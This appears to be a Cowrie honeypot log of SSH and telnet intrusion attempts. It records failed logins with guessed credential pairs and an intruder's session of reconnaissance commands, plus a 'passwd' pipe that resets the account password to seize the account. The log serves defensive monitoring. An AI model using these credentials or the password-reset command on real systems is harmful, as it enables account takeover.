{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:37.719429Z","src_ip":"20.160.86.7","session":"a6dbf188b70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"3245gs5662d34","message":"login attempt [bot/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:38.077257Z","src_ip":"20.160.86.7","session":"a6dbf188b70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.162454Z","src_ip":"20.160.86.7","session":"a6dbf188b70c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.408307Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.412071Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":46334,"dst_ip":"159.203.135.109","dst_port":22,"session":"91174dbefcbb","protocol":"ssh","message":"New connection: 186.148.224.183:46334 (159.203.135.109:22) [session: 91174dbefcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.453405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.459083Z","src_ip":"186.148.224.183","session":"91174dbefcbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.583920Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.614741Z","src_ip":"186.148.224.183","session":"91174dbefcbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.723273Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"bot\\naYfMGCkdFHBG\\naYfMGCkdFHBG\"|passwd|bash","message":"CMD: echo -e \"bot\\naYfMGCkdFHBG\\naYfMGCkdFHBG\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.727964Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.732584Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.736322Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9ad4182c3968ebf4fbd3527c91073e60465dd1a03cbd55992db97143c0d70e60","size":32,"shasum":"9ad4182c3968ebf4fbd3527c91073e60465dd1a03cbd55992db97143c0d70e60","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/9ad4182c3968ebf4fbd3527c91073e60465dd1a03cbd55992db97143c0d70e60 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:39.905641Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.050779Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"bot\\naYfMGCkdFHBG\\naYfMGCkdFHBG\\n\"|passwd","message":"CMD: echo \"bot\\naYfMGCkdFHBG\\naYfMGCkdFHBG\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.054381Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cd4a58a31f52e66a48ea8af1fd2fc2a4f339971439576dcad03d9c06ff607c01","size":25,"shasum":"cd4a58a31f52e66a48ea8af1fd2fc2a4f339971439576dcad03d9c06ff607c01","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cd4a58a31f52e66a48ea8af1fd2fc2a4f339971439576dcad03d9c06ff607c01 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.223038Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"minecraft","message":"login attempt [mc/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.249678Z","src_ip":"186.148.224.183","session":"91174dbefcbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.358336Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.362473Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.559206Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.705951Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.709508Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:40.878958Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.015375Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.018744Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.022588Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.194914Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.340540Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.343230Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.403482Z","src_ip":"186.148.224.183","session":"91174dbefcbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.510376Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.657105Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.661133Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.830082Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.979189Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:41.982998Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39404,"dst_ip":"159.203.135.109","dst_port":22,"session":"474f5b68021b","protocol":"ssh","message":"New connection: 103.82.132.16:39404 (159.203.135.109:22) [session: 474f5b68021b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.016669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.022774Z","src_ip":"103.82.132.16","session":"474f5b68021b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.150640Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.291833Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.296724Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.305848Z","src_ip":"103.82.132.16","session":"474f5b68021b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.466279Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.617291Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.621194Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.790730Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.929610Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:42.934634Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.104036Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.269892Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.273092Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nobody","message":"login attempt [root/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.280257Z","src_ip":"103.82.132.16","session":"474f5b68021b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00123286247253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.375849Z","src_ip":"98.30.219.209","session":"2e11831e48ba","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.440650Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.574522Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.578021Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.745833Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.885262Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:07:43.888684Z","src_ip":"20.160.86.7","session":"0f6016b08b67","protocol":"ssh"}
